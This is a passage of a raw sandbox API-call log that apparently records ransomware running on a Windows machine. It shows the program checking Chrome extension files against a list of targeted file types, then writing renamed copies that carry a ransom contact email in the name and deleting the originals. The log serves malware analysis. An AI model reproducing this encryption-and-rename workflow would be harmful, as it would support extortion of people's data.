Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 153 [0174.495] lstrlenW (lpString=".doc") returned 4 [0174.495] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.495] lstrlenW (lpString=".docx") returned 5 [0174.495] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.495] lstrlenW (lpString=".pdf") returned 4 [0174.495] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.495] lstrlenW (lpString=".xls") returned 4 [0174.495] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.495] lstrlenW (lpString=".xlsx") returned 5 [0174.495] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.495] lstrlenW (lpString=".ppt") returned 4 [0174.495] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.495] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 153 [0174.495] lstrlenW (lpString=".zip") returned 4 [0174.495] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.495] lstrlenW (lpString=".rar") returned 4 [0174.495] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.496] lstrlenW (lpString=".bz2") returned 4 [0174.496] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.496] lstrlenW (lpString=".7z") returned 3 [0174.496] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.496] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 153 [0174.496] lstrlenW (lpString=".dbf") returned 4 [0174.496] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.496] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 153 [0174.496] lstrlenW (lpString=".1cd") returned 4 [0174.496] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.496] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 153 [0174.496] lstrlenW (lpString=".jpg") returned 4 [0174.496] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.496] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.496] lstrlenW (lpString="messages.json") returned 13 [0174.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.497] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=179) returned 1 [0174.497] CloseHandle (hObject=0x124) returned 1 [0174.497] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json")) returned 0x2020 [0174.497] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.497] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.497] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.497] GetLastError () returned 0x0 [0174.498] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.498] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.499] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.499] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.500] SetEndOfFile (hFile=0x1b4) returned 1 [0174.500] CloseHandle (hObject=0x1b4) returned 1 [0174.500] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.500] SetEndOfFile (hFile=0x124) returned 1 [0174.500] CloseHandle (hObject=0x124) returned 1 [0174.501] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.501] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json")) returned 1 [0174.501] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 153 [0174.501] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 153 [0174.501] lstrlenW (lpString=".doc") returned 4 [0174.501] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.501] lstrlenW (lpString=".docx") returned 5 [0174.501] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.501] lstrlenW (lpString=".pdf") returned 4 [0174.501] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.501] lstrlenW (lpString=".xls") returned 4 [0174.501] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.501] lstrlenW (lpString=".xlsx") returned 5 [0174.501] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.501] lstrlenW (lpString=".ppt") returned 4 [0174.501] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.501] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 153 [0174.501] lstrlenW (lpString=".zip") returned 4 [0174.501] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.501] lstrlenW (lpString=".rar") returned 4 [0174.502] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.502] lstrlenW (lpString=".bz2") returned 4 [0174.502] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.502] lstrlenW (lpString=".7z") returned 3 [0174.502] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.502] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 153 [0174.502] lstrlenW (lpString=".dbf") returned 4 [0174.502] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.502] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 153 [0174.502] lstrlenW (lpString=".1cd") returned 4 [0174.502] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.502] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 153 [0174.502] lstrlenW (lpString=".jpg") returned 4 [0174.502] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.502] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 153 [0174.502] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 153 [0174.502] lstrlenW (lpString=".doc") returned 4 [0174.502] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.502] lstrlenW (lpString=".docx") returned 5 [0174.502] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.502] lstrlenW (lpString=".pdf") returned 4 [0174.502] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.502] lstrlenW (lpString=".xls") returned 4 [0174.502] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.502] lstrlenW (lpString=".xlsx") returned 5 [0174.502] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.502] lstrlenW (lpString=".ppt") returned 4 [0174.502] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.502] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 153 [0174.502] lstrlenW (lpString=".zip") returned 4 [0174.503] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.503] lstrlenW (lpString=".rar") returned 4 [0174.503] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.503] lstrlenW (lpString=".bz2") returned 4 [0174.503] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.503] lstrlenW (lpString=".7z") returned 3 [0174.503] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 153 [0174.503] lstrlenW (lpString=".dbf") returned 4 [0174.503] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 153 [0174.503] lstrlenW (lpString=".1cd") returned 4 [0174.503] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 153 [0174.503] lstrlenW (lpString=".jpg") returned 4 [0174.503] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.503] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.503] lstrlenW (lpString="messages.json") returned 13 [0174.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.504] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=179) returned 1 [0174.504] CloseHandle (hObject=0x124) returned 1 [0174.504] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json")) returned 0x2020 [0174.504] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.504] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.504] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.505] GetLastError () returned 0x0 [0174.505] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.506] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.507] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.507] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.507] SetEndOfFile (hFile=0x1b4) returned 1 [0174.507] CloseHandle (hObject=0x1b4) returned 1 [0174.507] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.507] SetEndOfFile (hFile=0x124) returned 1 [0174.508] CloseHandle (hObject=0x124) returned 1 [0174.508] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.508] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json")) returned 1 [0174.508] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 153 [0174.508] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 153 [0174.508] lstrlenW (lpString=".doc") returned 4 [0174.509] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.509] lstrlenW (lpString=".docx") returned 5 [0174.509] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.509] lstrlenW (lpString=".pdf") returned 4 [0174.509] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.509] lstrlenW (lpString=".xls") returned 4 [0174.509] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.509] lstrlenW (lpString=".xlsx") returned 5 [0174.509] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.509] lstrlenW (lpString=".ppt") returned 4 [0174.509] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.509] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 153 [0174.509] lstrlenW (lpString=".zip") returned 4 [0174.509] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.509] lstrlenW (lpString=".rar") returned 4 [0174.509] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.509] lstrlenW (lpString=".bz2") returned 4 [0174.509] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.509] lstrlenW (lpString=".7z") returned 3 [0174.509] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.509] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 153 [0174.509] lstrlenW (lpString=".dbf") returned 4 [0174.509] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.509] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 153 [0174.509] lstrlenW (lpString=".1cd") returned 4 [0174.509] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.509] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 153 [0174.509] lstrlenW (lpString=".jpg") returned 4 [0174.509] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.510] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 153 [0174.510] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 153 [0174.510] lstrlenW (lpString=".doc") returned 4 [0174.510] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.510] lstrlenW (lpString=".docx") returned 5 [0174.510] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.510] lstrlenW (lpString=".pdf") returned 4 [0174.510] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.510] lstrlenW (lpString=".xls") returned 4 [0174.510] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.510] lstrlenW (lpString=".xlsx") returned 5 [0174.510] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.510] lstrlenW (lpString=".ppt") returned 4 [0174.510] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.510] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 153 [0174.510] lstrlenW (lpString=".zip") returned 4 [0174.510] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.510] lstrlenW (lpString=".rar") returned 4 [0174.510] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.510] lstrlenW (lpString=".bz2") returned 4 [0174.510] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.510] lstrlenW (lpString=".7z") returned 3 [0174.510] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.510] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 153 [0174.510] lstrlenW (lpString=".dbf") returned 4 [0174.510] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.510] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 153 [0174.510] lstrlenW (lpString=".1cd") returned 4 [0174.510] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.510] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 153 [0174.511] lstrlenW (lpString=".jpg") returned 4 [0174.511] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.511] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.511] lstrlenW (lpString="messages.json") returned 13 [0174.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.518] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=179) returned 1 [0174.518] CloseHandle (hObject=0x124) returned 1 [0174.518] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 